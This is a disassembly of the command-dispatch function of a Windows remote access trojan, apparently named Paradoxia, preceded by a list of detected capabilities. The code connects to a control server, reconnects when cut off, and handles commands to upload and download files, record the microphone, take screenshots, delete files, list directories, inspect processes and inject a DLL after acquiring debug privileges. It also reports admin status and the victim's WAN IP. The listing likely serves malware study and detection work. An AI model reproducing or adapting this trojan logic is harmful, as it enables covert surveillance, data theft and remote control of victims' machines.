Function at 0x402050
Capabilities:
Acquire debug privileges
Act as tcp client
Capture microphone audio
Check internet connectivity via wininet
Connect socket
Connect tcp socket
Connect udp socket
Create http request
Create tcp socket
Create udp socket
Delete file
Download and write a file
Enumerate files on windows
Enumerate files recursively
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Set current directory
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
call fcn.00402000
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [0x41117c], eax
sub esp, 0x18
cmp eax, 0xffffffff
je 0x40215f
mov dword [esp], str.127.0.0.1
call dword [sym.imp.WS2_32.dll_inet_addr]
sub esp, 4
mov dword [0x411184], eax
mov dword [esp], 0x1bb
call dword [sym.imp.WS2_32.dll_htons]
mov edx, 2
mov ebx, dword [sym.imp.WS2_32.dll_connect]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
mov word [0x411182], ax
mov esi, dword [sym.imp.WS2_32.dll_WSACleanup]
sub esp, 4
mov word [0x411180], dx
lea esi, [esi]
mov eax, dword [0x41117c]
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x411180
mov dword [esp], eax
call ebx
sub esp, 0xc
cmp eax, 0xffffffff
je 0x402130
mov dword [0x411dc0], 1
add esp, 0x20
pop ebx
pop esi
pop edi
jmp 0x4021c0
mov eax, dword [0x41117c]
mov dword [esp], eax
call edi
sub esp, 4
call esi
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
call fcn.00402050
mov eax, dword [0x411dc0]
test eax, eax
je 0x4020f0
jmp 0x40211c
mov dword [esp], str.Socket_Creation_Error.
call fcn.00401e00
call fcn.004015e0
mov dword [esp], 1
call sub.msvcrt.dll_exit
lea esi, [esi]
sub esp, 0x1c
mov eax, dword [0x41117c]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
add esp, 0x1c
jmp fcn.00402050
push ebp
mov eax, 0x118c
push edi
push esi
push ebx
call fcn.00405070
sub esp, eax
mov ebx, dword [0x411dc0]
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.WS2_32.dll_recv]
test ebx, ebx
mov dword [esp + 0x30], eax
jne 0x40232e
jmp 0x402485
cmp dword [0x4115c0], 0x6c6c6466
je 0x4024c0
mov dword [esp + 4], str.fupload
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402850
cmp dword [0x4115c0], 0x7363696d
je 0x402930
mov dword [esp + 4], str.micstop
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4029d0
mov dword [esp], 0x4115c0
lea ebx, [esp + 0x180]
xor eax, eax
mov dword [esp + 8], 0x40c1e8
mov edi, ebx
mov dword [esp + 4], 0x4115a0
mov word [0x4115a0], ax
mov byte [0x4115a2], 0
call fcn.00401600
xor eax, eax
mov ecx, 0x32
rep stosd dword es:[edi], eax
mov eax, dword [0x4115a4]
mov dword [esp + 8], str.save_paradoxia__s
mov dword [esp + 4], 0xc8
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.00401e30
mov esi, dword [sym.imp.WINMM.DLL_mciSendStringA]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.stop_paradoxia
call esi
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call esi
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.close_paradoxia
call esi
sub esp, 0x10
lea esi, [esi]
mov edx, dword [0x411dc0]
test edx, edx
je 0x402485
mov eax, dword [esp + 0x30]
mov dword [esp], 0x64
mov edi, 0x4115c0
call eax
xor eax, eax
mov ecx, 0x100
rep stosd dword es:[edi], eax
mov eax, dword [0x41117c]
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call ebp
sub esp, 0x10
cmp eax, 0xffffffff
je 0x402720
cmp dword [0x4115c0], 0x63657266
jne 0x4021f8
cmp word [0x4115c4], 0x76
jne 0x4021f8
mov edx, 0x4111a0
xor ebx, ebx
mov ecx, 0x100
mov dword [esp + 0x180], 0
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [0x41117c]
xor ecx, ecx
mov dword [esp + 4], edx
mov word [0x4115a0], cx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp], eax
call ebp
sub esp, 0x10
cmp eax, 0xffffffff
je 0x402be0
mov dword [esp + 8], 0x40c1e8
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4111a0
call fcn.00401600
mov eax, dword [0x4115a4]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [esp + 0x18], 0
mov dword [esp + 0x28], eax
mov eax, dword [0x4115a0]
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
jne 0x402740
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str._Error_Creating_File__:__ld
mov dword [esp + 4], eax
call fcn.00401e60
mov edx, dword [0x411dc0]
test edx, edx
jne 0x40232e
mov eax, dword [0x41117c]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [esp], 0x7d0
mov eax, dword [esp + 0x30]
call eax
sub esp, 4
add esp, 0x118c
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.00402050
cmp byte [0x4115c4], 0
jne 0x402208
mov edx, 0x4111a0
xor ebx, ebx
mov ecx, 0x100
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], edx
mov dword [esp], eax
call ebp
sub esp, 0x10
cmp eax, 0xffffffff
je 0x402b58
mov dword [esp + 8], 0x40c1e8
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4111a0
call fcn.00401600
mov eax, dword [0x4115a4]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edi, dword [0x4115a8]
mov dword [esp + 4], str.None
mov dword [esp + 0x28], eax
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x402918
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x38], eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [esp + 0x28]
mov edi, 0x4115c0
lea esi, [eax + 1]
mov dword [esp + 0x3c], ecx
call ecx
mov dword [esp + 0x34], esi
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x100
mov esi, eax
xor eax, eax
sub esp, 0xc
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 4], 0
mov dword [esp], esi
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov edi, dword [esp + 0x28]
jmp 0x4025e5
test eax, eax
je 0x402630
lea edx, [esi + ebx]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4115c0
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
add ebx, dword [0x4115ac]
cmp ebx, edi
je 0x402630
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call ebp
mov dword [0x4115ac], eax
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x4025c0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x402838
mov eax, dword [0x4115ac]
test eax, eax
jne 0x4025c4
nop
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 8], 0x411160
mov dword [esp + 4], 0x28
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
sub esp, 0xc
test eax, eax
jne 0x402b88
mov eax, dword [esp + 0x38]
mov dword [esp + 4], 0
mov dword [esp], 0x43a
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x411164], eax
sub esp, 0xc
test eax, eax
je 0x402c00
mov ecx, dword [esp + 0x34]
mov dword [esp + 0xc], 0
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov dword [esp], eax
call fcn.00403f30
mov dword [0x411168], eax
sub esp, 0x10
test eax, eax
je 0x402c58
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov eax, dword [esp + 0x38]
mov dword [esp], str.DLL_OK:_ld
mov dword [esp + 4], eax
call fcn.00401e60
mov eax, dword [esp + 0x3c]
call eax
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x411164]
sub esp, 0xc
test eax, eax
je 0x402320
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x402320
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x40237a
mov dword [0x411dc0], 0
jmp 0x40237a
mov ecx, 0x100
xor eax, eax
mov edi, 0x4115c0
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4027a1
test eax, eax
je 0x4027f0
lea edx, [esp + 0x180]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4115c0
mov dword [esp], esi
call edi
add ebx, dword [0x4115ac]
sub esp, 0x14
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x28]
cmp ebx, eax
je 0x4027f0
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call ebp
mov dword [0x4115ac], eax
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x402760
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x402c28
mov eax, dword [0x4115ac]
test eax, eax
jne 0x402768
nop
mov edx, dword [esp + 0x2c]
test edx, edx
jne 0x402b20
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str._Error_Writing_file__s_of__s_size__Error_:__ld.
mov dword [esp + 0xc], eax
mov eax, dword [0x4115a4]
mov dword [esp + 8], eax
mov eax, dword [0x4115a0]
mov dword [esp + 4], eax
call fcn.00401e60
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x402320
mov dword [0x411dc0], 0
jmp 0x4025e1
mov dword [esp + 8], 0x40c1e8
xor eax, eax
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4115c0
mov word [0x4115a0], ax
mov byte [0x4115a2], 0
call fcn.00401600
mov eax, dword [0x4115a0]
cmp byte [eax], 0
je 0x402de8
mov eax, dword [0x4115a4]
cmp byte [eax], 0
je 0x402de8
mov dword [esp + 4], 0x40c327
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov ebx, eax
test eax, eax
je 0x402c80
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov esi, eax
mov dword [esp], ebx
call sub.msvcrt.dll_fseek
test esi, esi
jg 0x402cc0
mov eax, dword [0x4115a4]
mov dword [esp], str.File__s_is_of_0_bytes.
mov dword [esp + 4], eax
call fcn.00401e60
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x402320
mov dword [esp], edi
call fcn.00401770
mov dword [esp + 0x38], eax
jmp 0x40255e
cmp dword [0x4115c4], 0x74726174
jne 0x402234
cmp byte [0x4115c8], 0
jne 0x402234
mov ebx, dword [sym.imp.WINMM.DLL_mciSendStringA]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.open_new_type_waveaudio_alias_paradoxia
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.set_prime_time_format_ms
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.record_paradoxia_notify
call ebx
sub esp, 0x10
mov dword [esp], str.___Now_recording_microphone.
call fcn.00401e60
jmp 0x402320
cmp dword [0x4115c0], 0x74736f68
je 0x402ca8
cmp word [0x4115c0], 0x736f
je 0x402da0
cmp dword [0x4115c0], 0x636f7270
je 0x402db7
cmp dword [0x4115c0], 0x65676170
je 0x402df9
cmp dword [0x4115c0], 0x616e696d
je 0x402e27
cmp dword [0x4115c0], 0x6178616d
je 0x402e58
cmp dword [0x4115c0], 0x6e656761
je 0x402eaa
cmp dword [0x4115c0], 0x736d6172
je 0x402e89
cmp dword [0x4115c0], 0x6d617276
je 0x402ff0
cmp dword [0x4115c0], 0x7473696c
je 0x40301e
cmp word [0x4115c0], 0x6463
je 0x403126
mov dword [esp + 4], str.delete
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strstr
test eax, eax
je 0x402ed2
mov dword [esp + 8], 0x40c1e8
xor eax, eax
mov dword [esp + 4], 0x4115a0
mov dword [esp], 0x4115c0
mov word [0x4115a0], ax
mov byte [0x4115a2], 0
call fcn.00401600
mov eax, dword [0x4115a4]
mov dword [esp], eax
call fcn.004035e0
test eax, eax
mov eax, dword [0x4115a4]
je 0x4031bd
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 4
test eax, eax
je 0x403368
call fcn.00403680
mov dword [esp], str.DEL_OK__s__s
mov dword [esp + 8], eax
mov eax, dword [0x4115a4]
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402320
mov edi, dword [0x4115a0]
call fcn.00403680
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov eax, dword [0x4115a0]
mov dword [esp + 0x10], edi
mov dword [esp + 4], eax
mov dword [esp], str.F_OK__s__i__s_s
call fcn.00401e60
jmp 0x402824
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x402509
mov eax, dword [0x411dc0]
test eax, eax
je 0x402485
add esp, 0x118c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [0x41116c], 1
mov dword [0x411178], 2
mov dword [esp + 8], 0x411170
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
sub esp, 0xc
test eax, eax
jne 0x402d60
mov eax, dword [0x411160]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x40265a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x4023e8
mov dword [0x411dc0], 0
jmp 0x4023e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 4], str.Failed_to_open_the_target_process
mov dword [esp + 8], eax
mov dword [esp], str._____s._Error_ld
call fcn.00401e60
jmp 0x4026db
mov eax, dword [0x4115a4]
mov dword [esp], str._X__Connection_interrupted_while_receiving_file__s_for__s_size.
mov dword [0x411dc0], 0
mov dword [esp + 8], eax
mov eax, dword [0x4115a0]
mov dword [esp + 4], eax
call fcn.00401e00
jmp 0x402799
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 4], str.Failed_to_inject_the_DLL
mov dword [esp + 8], eax
mov dword [esp], str._____s._Error_ld
call fcn.00401e60
jmp 0x4026db
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__Error_Opening_file__s__Error__ld___
mov dword [esp + 8], eax
mov eax, dword [0x4115a4]
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402320
cmp byte [0x4115c4], 0
jne 0x4029e0
call fcn.00403610
jmp 0x402320
mov eax, dword [0x4115a4]
mov dword [esp + 8], esi
mov dword [esp], str.FILE:_s:_ld
mov dword [esp + 4], eax
call fcn.00401e60
mov eax, dword [esp + 0x30]
mov dword [esp], 0x3e8
call eax
mov ecx, 0x7d
xor eax, eax
sub esp, 4
lea esi, [esp + 0x180]
mov edi, esi
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.WS2_32.dll_send]
jmp 0x402d45
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x1f4
mov dword [esp + 4], 1
mov dword [esp], esi
call sub.msvcrt.dll_fread
test eax, eax
jle 0x402d51
mov dword [esp + 8], eax
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 4], esi
mov dword [esp], eax
call edi
sub esp, 0x10
mov dword [esp], ebx
call sub.msvcrt.dll_feof
test eax, eax
je 0x402d08
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x402320
mov eax, dword [0x411160]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x41116c
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
sub esp, 0x18
jmp 0x402bc4
cmp byte [0x4115c2], 0
jne 0x4029ef
call fcn.004037e0
jmp 0x402320
cmp dword [0x4115c4], 0x6f737365
jne 0x4029ff
cmp dword [0x4115c7], 0x73726f
jne 0x4029ff
mov dword [esp], 0
call fcn.00403920
jmp 0x402320
mov dword [esp], str.__Invalid_File_Download_Request___n
call fcn.00401e60
jmp 0x402320
cmp dword [0x4115c4], 0x657a6973
jne 0x402a0f
cmp byte [0x4115c8], 0
jne 0x402a0f
mov dword [esp], 1
call fcn.00403920
jmp 0x402320
cmp dword [0x4115c4], 0x64617070
jne 0x402a1f
cmp dword [0x4115c7], 0x726464
jne 0x402a1f
mov dword [esp], 2
call fcn.00403920
jmp 0x402320
cmp dword [0x4115c4], 0x64617070
jne 0x402a2f
cmp dword [0x4115c7], 0x726464
jne 0x402a2f
mov dword [esp], 3
call fcn.00403920
jmp 0x402320
cmp dword [0x4115c4], 0x657a69
jne 0x402a4f
mov dword [esp], 1
call fcn.004039d0
jmp 0x402320
cmp word [0x4115c4], 0x74
jne 0x402a3f
call fcn.004037a0
mov dword [esp], 0x40c468
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402320
cmp dword [0x4115c0], 0x6c6c696b
je 0x40328b
cmp dword [0x4115c0], 0x656964
je 0x403259
cmp dword [0x4115c0], 0x65726373
je 0x40321c
mov dword [esp + 4], str.psinfo
mov dword [esp], 0x4115c0
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4031d2
mov dword [esp], 0x4115c0
xor eax, eax
lea edi, [esp + 0x180]
mov dword [esp + 8], 0x40c1e8
mov dword [esp + 4], 0x4115a0
mov word [0x4115a0], ax
mov byte [0x4115a2], 0
call fcn.00401600
xor eax, eax
mov ecx, 0x100
rep stosd dword es:[edi], eax
mov eax, dword [0x4115a4]
mov dword [esp], eax
call fcn.00401770
mov ebx, eax
test eax, eax
je 0x4035c8
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov esi, eax
test eax, eax
je 0x4035ae
lea eax, [esp + 0x180]
mov dword [esp + 0xc], 0x104
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], esi
call sub.KERNEL32.dll_K32GetModuleFileNameExA
sub esp, 0x10
test eax, eax
je 0x403420
lea eax, [esp + 0x180]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov eax, dword [0x4115a4]
mov dword [esp], str.PROCESS__s__ld__s
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402824
cmp dword [0x4115c4], 0x657a6973
jne 0x402a5f
cmp byte [0x4115c8], 0
jne 0x402a5f
mov dword [esp], 0
call fcn.004039d0
jmp 0x402320
cmp dword [0x4115c4], 0x726964
jne 0x402a6f
lea eax, [esp + 0x40]
mov dword [esp], 0x40c484
xor ebx, ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
sub esp, 8
mov dword [esp + 0x28], eax
cmp eax, 0xffffffff
je 0x402320
lea esi, [esp + 0x180]
mov eax, ebx
mov ecx, 0x100
mov edi, esi
rep stosd dword es:[edi], eax
lea edi, [esp + 0x6c]
call fcn.00403680
mov dword [esp + 8], str.Listing__s_n____________________n
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x400
mov dword [esp], esi
call fcn.00401e30
mov dword [esp + 0x34], ebx
jmp 0x4030ca
mov dword [esp + 0xc], edi
mov dword [esp + 8], str._DIRECTORY___s_n
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00401e30
lea eax, [esp + 0x40]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
sub esp, 8
test eax, eax
je 0x4032a7
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov ecx, 0x400
sub ecx, eax
add eax, esi
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x38], eax
test byte [esp + 0x40], 0x10
jne 0x403092
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x60]
xor edx, edx
mov dword [esp + 0xc], edi
mov dword [esp + 8], str._FILE___s___llu_bytes__n
mov ebx, ecx
xor ecx, ecx
or eax, ecx
or edx, ebx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x14], edx
mov dword [esp + 4], eax
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.00401e30
jmp 0x4030aa
cmp byte [0x4115c2], 0
jne 0x402a7e
xor eax, eax
mov ecx, 0x100
mov edi, 0x4115c0
rep stosd dword es:[edi], eax
mov eax, dword [0x41117c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call ebp
sub esp, 0x10
cmp eax, 0xffffffff
je 0x40339d
mov dword [esp], 0x4115c0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
sub esp, 4
test eax, eax
jne 0x403383
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
je 0x403461
cmp eax, 5
je 0x403448
cmp eax, 2
je 0x4033bd
mov dword [esp + 4], eax
mov dword [esp], str.Error_Changing_Directory__Error__i
call fcn.00401e60
jmp 0x402320
mov dword [esp + 4], eax
mov dword [esp], str.File__s_does_not_exist.
call fcn.00401e60
jmp 0x402320
cmp dword [0x4115c0], 0x64617369
je 0x403562
cmp dword [0x4115c0], 0x696e6177
je 0x40347a
cmp dword [0x4115c0], 0x61726170
je 0x4033d6
mov eax, dword [0x41117c]
mov dword [esp + 4], 0x4115c0
mov dword [esp], eax
call fcn.00401660
jmp 0x402320
cmp dword [0x4115c4], 0x68736e65
jne 0x402f02
cmp dword [0x4115c7], 0x746f68
jne 0x402f02
mov ebx, dword [0x41117c]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [esp], eax
mov dword [esp + 4], ebx
call fcn.00401830
jmp 0x402320
mov dword [esp], str.Dying_until_next_reboot._n
call fcn.00401e60
mov dword [esp], 0x7d0
mov eax, dword [esp + 0x30]
mov dword [0x411dc0], 0
call eax
sub esp, 4
mov dword [esp], 0
call sub.msvcrt.dll_exit
cmp byte [0x4115c4], 0
jne 0x402ee2
mov dword [0x411dc0], 0
jmp 0x402485
mov ebx, dword [esp + 0x34]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esp], esi
mov dword [esp + 0x28], eax
call sub.msvcrt.dll_strlen
mov edi, eax
test eax, eax
je 0x402320
cmp dword [esp + 0x28], 0x2746
mov edx, dword [sym.imp.WS2_32.dll_send]
jne 0x4032ee
jmp 0x40332d
add ebx, eax
mov edx, dword [esp + 0x28]
cmp ebx, edi
jge 0x402320
mov eax, edi
mov dword [esp + 0xc], 0
sub eax, ebx
mov dword [esp + 0x28], edx
mov dword [esp + 8], eax
lea eax, [esi + ebx]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call edx
sub esp, 0x10
test eax, eax
jns 0x4032e0
jmp 0x402320
add ebx, eax
mov edx, dword [esp + 0x28]
cmp edi, ebx
jle 0x402320
mov eax, edi
mov dword [esp + 0xc], 0
sub eax, ebx
mov dword [esp + 0x28], edx
mov dword [esp + 8], eax
lea eax, [esi + ebx]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call edx
mov dword [0x411dc0], 0
sub esp, 0x10
test eax, eax
jns 0x40331f
jmp 0x402320
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.Error_Deleting_file_:__i
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402320
call fcn.00403680
mov dword [esp], str.Directory_Changed_to__s
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402320
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x40316f
mov dword [0x411dc0], 0
jmp 0x40316f
mov dword [esp + 4], 2
mov dword [esp], str.Error_Changing_Directory__File_or_Folder_not_Found__Error_code__i_
call fcn.00401e60
jmp 0x402320
cmp dword [0x4115c4], 0x69786f64
jne 0x403202
cmp dword [0x4115c8], 0x64697061
jne 0x403202
cmp byte [0x4115cc], 0
jne 0x403202
call fcn.004037a0
mov dword [esp], str.paradoxiaPID:_s
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402320
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov eax, dword [0x4115a4]
mov dword [esp], str.PROCESS__s__ld__error_:__ld_
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402824
mov dword [esp + 4], 5
mov dword [esp], str.Error_Changing_Directory__Access_Denied__Error_Code__i_
call fcn.00401e60
jmp 0x402320
mov dword [esp + 4], 3
mov dword [esp], str.Error_Changing_Directory__Path_not_found__Error_Code__i_
call fcn.00401e60
jmp 0x402320
cmp word [0x4115c4], 0x70
jne 0x4031f2
xor edi, edi
mov dword [esp + 4], 1
mov dword [esp + 8], edi
mov dword [esp], str.http:__www.google.com
call dword [sym.imp.WININET.DLL_InternetCheckConnectionA]
sub esp, 0xc
test eax, eax
je 0x40358c
lea ebx, [esp + 0x180]
xor eax, eax
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
xor edi, edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], ecx
mov dword [esp], ecx
call dword [sym.imp.WININET.DLL_InternetOpenA]
sub esp, 0x14
mov esi, eax
xor eax, eax
mov dword [esp], esi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.https:__myexternalip.com_raw
call dword [sym.imp.WININET.DLL_InternetOpenUrlA]
sub esp, 0x18
mov edi, eax
lea eax, [esp + 0x40]
mov dword [esp + 4], ebx
mov dword [esp], edi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1000
call dword [sym.imp.WININET.DLL_InternetReadFile]
xor edx, edx
sub esp, 0x10
mov eax, dword [esp + 0x40]
mov dword [esp + eax*4 + 0x180], edx
mov dword [esp], edi
mov edi, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call edi
push ecx
mov dword [esp], esi
call edi
push esi
mov dword [esp + 4], ebx
mov dword [esp], str.WANIP:_s
call fcn.00401e60
jmp 0x402320
cmp dword [0x4115c4], 0x6e696d
jne 0x4031e2
call fcn.004036c0
test eax, eax
je 0x40359d
mov dword [esp], str.ADMIN:TRUE
call fcn.00401e60
jmp 0x402320
mov dword [esp], str.No_Internet_Connection_detected.
call fcn.00401e60
jmp 0x402320
mov dword [esp], str.ADMIN:FALSE
call fcn.00401e60
jmp 0x402320
mov eax, dword [0x4115a4]
mov dword [esp], str.Failed_to_open_Process_:__s
mov dword [esp + 4], eax
call fcn.00401e60
jmp 0x402320
mov dword [esp], str.Process_not_running.
call fcn.00401e60
jmp 0x402320